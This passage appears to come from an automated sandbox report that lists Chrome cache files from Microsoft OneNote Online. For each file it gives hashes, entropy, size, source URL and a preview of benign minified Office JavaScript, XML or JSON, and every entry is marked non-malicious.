Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},a=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(a=a.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),a.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}(globalThis.onenote

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2808
Entropy (8bit):	5.160810588598458
Encrypted:	false
SSDEEP:	48:c2Ax81yLGQoDXNJ1CiVc+sv+sYz4zEf0O0XvmEkY2LFd/mAeUEEZDEs6l:7AMyaQoDXbNvs2sYz4zy9c+EkhDmADEh
MD5:	C2EE1D789CF6FC61AEB0B76399FB0E64
SHA1:	E55F7A87DD76AECBEDFB84347F07A75F283D58C6
SHA-256:	AFACB4EBFE0700B8192FDBC3B0F1D776C4B3C73E1B192F955C47C870DDD73989
SHA-512:	ED8B8A4CAFF3C6D479BE412D24A2B02DDA6C52B8AF562426CE6EC8D21B6223DB7EB53BE005687F3EA4441296E13C6D28B983C7FEDBEDD566C3F915E69700E200
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>93155735-fd84-4d6f-9433-305bdb6cb523</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft Corporation</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Help" />.. <Description DefaultValue="In-App Help provided by support.office.com" />.. <IconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-32.png" />.. <HighResolutionIconUrl DefaultValue="https://support.office.com/images/inapp-help-icon-80.png" />.. <SupportUrl DefaultValue="http://support.office.com" />.. <AppDomains>.. <AppDomain>https://login.live.com</AppDomain>.. <AppDomain>https://login.live-int.com</AppDomain>.. <

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (672)
Category:	dropped
Size (bytes):	2347861
Entropy (8bit):	5.637983408571914
Encrypted:	false
SSDEEP:	49152:eZgm4eCLTxm3JnfpWD55jMcACuBW5RJj33qQ3O+BbuUDueUD32CDcrrxVn+jC/Hz:wsqp2925CH
MD5:	EEB61E4E3B09AB99B1BDB48A68DE3B0F
SHA1:	474B169E13CF3BB1AC0101E915B59612AC025649
SHA-256:	9305C186BFA36C3F54D99504658E9B49840DCEB94B9AE62699AA93766D665AA0
SHA-512:	C2D497BACB0BF140C502ACC164C05D0DF3BA38E6DFC4494B38D152D85A71DBD46FB99D8F6025CF137879DE3C906D04E99856F045EB8759DA3D06E30AE4419282
Malicious:	false
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[1],{97731:function(ya,Sa,H){H.d(Sa,{a:function(){return ha}});ya=H(61673);var Ba=H(66215),Fa=H(1496),na=H(22069),C=H(8562),L=H(4840),d=H(39388),k=H(40343),h=H(64233),l=H(22950),w=H(31929),u=H(32031),z=H(88460),x=H(21754),y=H(16648),A=H(88087),F=H(43016),K=H(89335),G=H(25508),t=H(62994),J=H(94801),N=H(28828),O=H(78033),D=H(39188),Q=H(82220),n=H(24438),M=H(88052),Z=H(95681),T=H(40613),P=H(86737);class W{constructor(){this.pressure=.this.pageY=this.pageX=this.y=this.x=0}}(0,ya.a)(W,"InkPacket",null,[]);var ea=H(46545),da=H(86645),ba=H(93427),ua=H(93920),la=H(44405);class ha{static get wuc(){return L.a.instance.resolve("OneNote.IInkEditor")}static get e2(){return d.FocusManager.instance()}static get mbb(){return ha.Ee\|\|(ha.Ee=L.a.instance.resolve("Box4.ICaretPositionManager"))}static get Usa(){return ha.eb\|\|(ha.eb=L.a.instance.resolve("Box4.ICevViewContentManager"))}static ir(){return ha.zh\|\|(ha.z

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65308), with no line terminators
Category:	downloaded
Size (bytes):	272775
Entropy (8bit):	5.703967581910577
Encrypted:	false
SSDEEP:	6144:fyRPX2jNq/+7WvPkjS3wiJArdlX7DVAjIOpcJuL1Y9:ef2jNF8PkjGrQdlXqjIOpcJuL1Y9
MD5:	8D9EDD60E2B6329696B4B416FF6178D2
SHA1:	BDDA8531DA8BFB1031B9F9C03F8B5B26004EDF00
SHA-256:	4E23B6C34FCBDBF7EFD6120B27D65D6D0A74E60F161377D678AD530E7DF10251
SHA-512:	E77682825ACE6FECE7E9F01CC0B938FDCE74C6865A97CAA55751AD946AB5D43F5CD8DA27511496D9495573E2C90435BE781C1DD10F8F54F3EFC19700B7B528D6
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/suiteux-shell/js/suiteux.shell.core.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_core_start"),function(){var e,t,n,o,r,i={87775:function(e,t,n){"use strict";var o;n.d(t,{f:function(){return o}}),function(e){e.depth0="0 0 0 0 transparent",e.depth4="0 1.6px 3.6px 0 rgba(0, 0, 0, 0.132), 0 0.3px 0.9px 0 rgba(0, 0, 0, 0.108)",e.depth8="0 3.2px 7.2px 0 rgba(0, 0, 0, 0.132), 0 0.6px 1.8px 0 rgba(0, 0, 0, 0.108)",e.depth16="0 6.4px 14.4px 0 rgba(0, 0, 0, 0.132), 0 1.2px 3.6px 0 rgba(0, 0, 0, 0.108)",e.depth64="0 25.6px 57.6px 0 rgba(0, 0, 0, 0.22), 0 4.8px 14.4px 0 rgba(0, 0, 0, 0.18)"}(o\|\|(o={}))},83779:function(e,t,n){"use strict";n.d(t,{I:function(){return c}});var o=/[$\[\{\<][^$\]\}\>][\)\]\}\>]/g,r=/[\0-\u001F\!-/:-@\[-`\{-\u00BF\u0250-\u036F\uD800-\uFFFF]/g,i=/^\d+[\d\s](:?ext\|x\|)\s*\d+$/i,s=/\s+/g,a=/[\u0600-\u06FF\u0750-\u077F\u08A0-\u08FF\u1100-\u11FF\u3130-\u318F\uA960-

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	532935
Entropy (8bit):	4.395072076018468
Encrypted:	false
SSDEEP:	6144:kR4D+Nfr+FScNi0IEwKcobyoWzJtdtUNabyoWz4C5RTM0:dD+Nfr0
MD5:	41357E3B962E967BC44D72B3DA22478A
SHA1:	C92D60811E9BB815D32F61E55E9EAF491546FA5D
SHA-256:	08DBB36DDCA31F436328FF92E111186CAB0BE844E91A287AAF1274F4D0B9B3C7
SHA-512:	6327672EA083A2F268ED0F5F77BC8EEA9C5594359806A30DD96DA491E2E0116C3E0DF60EDDBECD14D44B69A18CBBC9B17ABDC53F3F3B66ECAEEDC21564E635C7
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/1033/onenote-ribbon-sprite-lazy.min.js
Preview:	window.onenoteRibbonSpriteLazy={icons:[{type:"svg",id:"newdocument_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"},{type:"path",className:"OfficeIconColors_m20",d:"M 1685 1903 h -1320 v -1735 h 868 l 452 451 z"},{type:"path",className:"OfficeIconColors_m22",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"SectionTab_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"},{type:"path",className:"OfficeIconColors_DynamicColor",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"Table_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 102 102 h 1844 v 1844 h -1844 m 103 -1741 v 205 h 16

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	210219
Entropy (8bit):	5.519881063016727
Encrypted:	false
SSDEEP:	6144:PZHFGRKBMktdKMxiqyAc0YmKb6Ts4sW5z9r:hFGRKBMktdVxiqyAc0vTs4sW5z9r
MD5:	83C2A496B8E8B2F7A2162B4B96AC8481
SHA1:	2512391A4E3864367DDF857AD2B266E05497C061
SHA-256:	CD97B1411F3D5DAD39A899CEE87B0554166E6D8D443A0259EBD9E4714CD110FF
SHA-512:	8761D97BCB1AA6C74FAC088B67B05634840BA923D7427F792DC8166F0D45E6531784907609AFC149382C189E2E048CBC085F74234F569CF1CE568ED9FB8A55D4
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.5713dd8afbcd714f28fb.js
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,r={32812:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(13260),r=n(40426),i=n(19665),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.N=function(e){return this.hasError?(e.error(this.thrownError),i.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),i.y.EMPTY):t.prototype.N.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(r.B7)},39188:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(13260),r=n(40426),i=n(92581),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.B=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	179047
Entropy (8bit):	5.525712599528241
Encrypted:	false
SSDEEP:	3072:h1AR5AkNPInYOw/AiOeDOqCkR4LJMyy5333WU/LomKb8NSiPRu/8vQ0a1L:sjzNPWYOKAiOeDGm4LJMyyllomKbQaV
MD5:	28AE8A97F4ABA21B7C2E35059829E3A2
SHA1:	B7B1145ADB4697AD6D781BF6D63F9C6F7FBF3A93
SHA-256:	6DEFAE634ACD4E2356838DEE0DD0213411310C26A2D9720C2C85058B7771B1BE
SHA-512:	DE609110BF4206675F41F2152CE38D1FF8D5E94F6FD7195FA12A37C7615EFB10FEED8D1436C348264A2F0067E850D234FBE3A10B01B9F73AAD602FEFC523B0DE
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.slim.3fa2c9c3701ebced3bca.js
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,i={32812:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(13260),i=n(40426),r=n(19665),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.U=function(e){return this.hasError?(e.error(this.thrownError),r.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),r.y.EMPTY):t.prototype.U.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(i.B7)},39188:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(13260),i=n(40426),r=n(92581),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.N=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2224), with no line terminators
Category:	downloaded
Size (bytes):	2224
Entropy (8bit):	5.029670917384203
Encrypted:	false
SSDEEP:	48:iYyhna6311NDG9e1ctrSmz6usES0da3RhRDh79nFzFnpR4RYhQyYSI:iYenaUG0aB+qahhRDh79nFzFn/cYhQy4
MD5:	96EC242EA2E25558F7EC13FA88D9D793
SHA1:	B0BB7F6BD5206CC1FFB572CBD4A6AD2F88D42433
SHA-256:	850C54CE960E710757379C19601C65C00CF7D485063115F34AA30AE193CCEA43
SHA-512:	8C732012F96C7A9B4434F1BC27262A07080F05FCDF54E64B9CB4F37C20D3D8A85FAC2387C934798056D137B03F918D5CE4847C835CC013EDD4485686993D5F4F
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/Feedback/latest/Intl/en/officebrowserfeedbackstrings.js
Preview:	OfficeBrowserFeedback.setUiStrings({FeedbackSubtitle:"Send Feedback to Microsoft",PrivacyStatement:"Privacy Statement",Form:{CommentPlaceholder:"Please do not include any confidential or personal information in your comment",CategoryPlaceholder:"Select a category (optional)",EmailPlaceholder:"Email (optional)",RatingLabel:"Rating",ScreenshotLabel:"Include screenshot",Submit:"Submit",Cancel:"Cancel",EmailCheckBoxLabel:"You can contact me about this feedback",PrivacyConsent:"IT admins for your organization will be able to view and manage your feedback data.",PrivacyLabel:"By pressing submit, your feedback will be used to improve Microsoft products and services. ",ScreenshotImgAltText:"Screenshot Preview"},SingleForm:{Title:"Please provide feedback"},SmileForm:{Anchor:"I like something",Title:"What did you like?"},FrownForm:{Anchor:"I don't like something",Title:"What did you not like?"},IdeaForm:{Anchor:"I have a suggestion",Title:"What do you suggest?"},BugForm:{Anchor:"File a bug",Titl

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	dropped
Size (bytes):	291944
Entropy (8bit):	5.339452624635816
Encrypted:	false
SSDEEP:	6144:ourQUjLm+AvPSIoPaKKmMlHh0Gt4V3pgYh:nsUjtKJlHq
MD5:	4753311527A079EC0CC7E95D043B12C4
SHA1:	ECDDDE593B9BB99B9AF52572ACE99AE8668D23D8
SHA-256:	E1A86909453E1BFDB18F961D9148601D54308E5C7A7826DFD79A7264A53B6E6A
SHA-512:	5149EFEE6039AF9794E068DCCCC3E1200A9705552742C3C3072E19112EF27108EC287F55474F42603A651B55BCF73ABD426D6CB7DDDEC2E27AFF587FCB289F7C
Malicious:	false
Preview:	function _define_property(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){_define_property(t,e,r[e])}))}return t}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[848],{85663:function(t,e,r){t.exports={default:r(79476),__esModule:!0}},35594:function(t,e,r){t.exports={default:r(29589),__esModule:!0}},12171:function(t,e,r){t.exports={default:r(72230),__esModule:!0}},5917:function(t,e,r){t.exports={default:r(24414),__esModule:!0}},80401:function(t,e,r){t.exports={default:r(3210),__esModule:!0}},75012:function(t,e,r){t.exports={default:r(10306),__esModule:!0}},61525:function(t,e,r){t.exports={d

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64817)
Category:	dropped
Size (bytes):	756202
Entropy (8bit):	5.272960395761771
Encrypted:	false
SSDEEP:	6144:h19A7/fCfjXdj49sdiRtw1bb5XfPc7YspF4l9h63NjaD9CihNn+S0nVk3oxS/yYj:NrfmYMc5T
MD5:	D3CD36D061148A303F8E1DFC47F6B2CB
SHA1:	DADE1F0E4A9E31351C121442A7AFEBDE21787D45
SHA-256:	1473F3E79F0EF7F34E3E5AABC1B4209D16F40124F35AECBA6BB26B91372C43C5
SHA-512:	04999F982BF1434B51493ECC3A4BFFFBB498BAEBB8E3F650B9C673AB10686E73451CF26E0479878D49A375B047D129AEA5153B404AC4E1D66A2615BD42EC3EBD
Malicious:	false
Preview:	/* Office runtime JavaScript library /../..Copyright (c) Microsoft Corporation. All rights reserved../.../. Your use of this file is governed by the Microsoft Services Agreement http://go.microsoft.com/fwlink/?LinkId=266419... This file also contains the following Promise implementation (with a few small modifications):. * @overview es6-promise - a tiny implementation of Promises/A+.. * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald). * @license Licensed under MIT license. * See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE. * @version 2.3.0.*/.var __extends=this&&this.__extends\|\|function(){var e=function(t,n){return e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},e(t,n)};return function(t,n){if("fu

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5650)
Category:	dropped
Size (bytes):	5651
Entropy (8bit):	5.908653284243523
Encrypted:	false
SSDEEP:	96:K0SHCReiZ1ZXsOyB+kRJR8V87+tHjihsBlapRMwV146tHfV14e6rH6FkuFkeE+pP:7RTTtsOG+k+FZbapPV1RV1BZ79n
MD5:	3DF34E6823F5251F3F7DD1A615219AFF
SHA1:	F40F0D471C03F98F1C493069ED75415DD636B905
SHA-256:	900418B149C3F940DF6DFCE7472FFC799AF3807D13521ACF43F6245A619FF776
SHA-512:	ADF07DEDEE1321C776D9377D31F6E82A4DF287C4A6966E13CE781DF0743B5DC82343ED7C7FAE18BC3BCECE59EEF1F35282FCDE5E4BBA1CAB03837603FDDF8824
Malicious:	false
Preview:	(()=>{var f={clientVersion:"20241022.4",files:{"owl.js":["owl.60b0607ba5126556995f.js","sha384-zDj3tmNYOwI2Am9oqiJuUbxIaqusrXTjzUd363HCfgg6i2ghsMasGwdCF60uMl6Q"],"owl.slim.js":["owl.slim.3fa2c9c3701ebced3bca.js","sha384-yahtC8hwk8GSYMODl/5HooFPYeo4GRkkrG0e5oCKKinnLifATz+1C343rSkOYQIn"],"owlnest.js":["owlnest.9b8213be8ac8f0683002.js","sha384-HLSNmHA5WyyRDQkWqjGHIqfG1jJbiJ9on/1ItCDW/s74A6I3NMUU+NURu6U2TFXr"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.4e8d8cd9eee1cfb3c162.js","sha384-AAafx3qf00WWge43xDnO9HBNP42FZ58TVQIzTmDaxtfYcm8vVw+OLV2Kv5bCi4TK"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"s

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65443)
Category:	downloaded
Size (bytes):	734469
Entropy (8bit):	5.519143735413564
Encrypted:	false
SSDEEP:	6144:aonR5cl3CpS0tBVw8ch8FDp8+n7r+n7zaVXs/fVk/rEvMCM4YxEY/U9RjFdiPbf:aonR5V9Vs1sr2FI
MD5:	9F5073B64B56A4C8D0B1B596C3D05FFD
SHA1:	CAFAD76BE15AC0B9E3B48AF173D2EFE02B5C416F
SHA-256:	8B6BA39147DC3BA407A6D00A31C665194A425D95BC3F8F6284C52A2008E73C5E
SHA-512:	B488EBB48BEEBBDE0BEBDCD652C3B9057C1008D067308B68179BF1C6C4C122021A044FB0D9177E0BC8FB9BE4E715C7205A2084017BB6F3A6D423860C34A920A3
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/Feedback/latest/officebrowserfeedback_floodgate.js
Preview:	/! For license information please see officebrowserfeedback_floodgate.min.js.LICENSE.txt /.!function(e){var t={};function A(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,A),r.l=!0,r.exports}A.m=e,A.c=t,A.d=function(e,t,n){A.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},A.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},A.t=function(e,t){if(1&t&&(e=A(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(A.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)A.d(n,r,function(t){return e[t]}.bind(null,r));return n},A.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return A.d(t,"a",t),t},A.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},A.p="",A(A.s=

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	112261
Entropy (8bit):	5.13097356220368
Encrypted:	false
SSDEEP:	1536:F3aTm6ALG5SH04NcnOxtCDpdziaoIl3fKF1cEilqVcAd:wa+nuE2aoIl3fK4lCc8
MD5:	1DC889AC693F912C263AA6D27A258A93
SHA1:	B2100EA2AEE5ED5FD90E0331F26160CDD5D1B002
SHA-256:	9224E5240ABC039D55CB765EA6611F07BA95F5E59C05DA325C968470946C6E52
SHA-512:	49654A757D9C5CFD838848AF856B2A0D9FE9960CEED297E4244F948E42441506B7502DBED1236448BFF09EF4444FDF20A25197DC7E55FC4394EB2ED70CB1B0ED
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/onenoteink.js
Preview:	var onenoteink;(()=>{"use strict";var t={699:t=>{var e,i="object"==typeof Reflect?Reflect:null,n=i&&"function"==typeof i.apply?i.apply:function(t,e,i){return Function.prototype.apply.call(t,e,i)};e=i&&"function"==typeof i.ownKeys?i.ownKeys:Object.getOwnPropertySymbols?function(t){return Object.getOwnPropertyNames(t).concat(Object.getOwnPropertySymbols(t))}:function(t){return Object.getOwnPropertyNames(t)};var o=Number.isNaN\|\|function(t){return t!=t};function s(){s.init.call(this)}t.exports=s,t.exports.once=function(t,e){return new Promise((function(i,n){function o(i){t.removeListener(e,s),n(i)}function s(){"function"==typeof t.removeListener&&t.removeListener("error",o),i([].slice.call(arguments))}g(t,e,s,{once:!0}),"error"!==e&&function(t,e,i){"function"==typeof t.on&&g(t,"error",e,{once:!0})}(t,o)}))},s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var r=10;function a(t){if("function"!=typeof t)throw new TypeError('The "listener

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	76571
Entropy (8bit):	5.364259301211758
Encrypted:	false
SSDEEP:	768:Y57B+n7r5qGhmViGJmOsrmNS+p2ZiDO0eX/DcynXE+L92w7q9u7k78CRtfa:YxB+n7r55RGMr9nXEiz7V7k78r
MD5:	4DE42314D6EDDA70DF9779762ACC12B8
SHA1:	2AF63137ABC68C0910107F8598B7DE48FD5BBD9C
SHA-256:	7E86DF2AC06E3524CB7BC6F0B8EB07565BA6D103EAF3CF1A30AC4C78F11A4EAA
SHA-512:	4465A7B79288AC5B75B4B21DDE3EA774F94AC209DDADFF99DA7741ED841C739C1F82DAEB550DC707A986FFFED8B9B84F45CA7705F40244A993D0CE34BD65B02B
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/Feedback/latest/officebrowserfeedback_ecs_client.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FloodgateDynamicCampaign=t():e.FloodgateDynamicCampaign=t()}(self,(function(){return function(){var e={7222:function(e,t,n){"use strict";var r=this&&this.__createBinding\|\|(Object.create?function(e,t,n,r){void 0===r&&(r=n),Object.defineProperty(e,r,{enumerable:!0,get:function(){return t[n]}})}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),i=this&&this.__exportStar\|\|function(e,t){for(var n in e)"default"===n\|\|Object.prototype.hasOwnProperty.call(t,n)\|\|r(t,e,n)};Object.defineProperty(t,"__esModule",{value:!0}),t.IFloodgateHostPlatform=t.GovernedChannelType=t.ICampaignDefinitions=t.Api=void 0,i(n(7560),t),t.Api=n(7560),i(n(2783),t),i(n(8262),t),i(n(234),t);var o=n(9556);Object.defineProperty(t,"ICampaignDefinitions",{enumerable:!0,get:function(){return o.ICampaignDefinitions}});var s=n(8445);Object.defineProperty(t,"Govern

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	80074
Entropy (8bit):	5.058726158357534
Encrypted:	false
SSDEEP:	768:+pCmHr0AOKTnbhCxm6Mlm3bb0zBSWuEn047nNXcb7GLLWZWxWG6sS6bxiw:+pCydxgxmwj8NXcb7GLLCmWsSExn
MD5:	7E93C384B574C1D19DF910D525EC3789
SHA1:	EDF6EBFAF4A1F29E76B4094BB5B9DFB57388ECA6
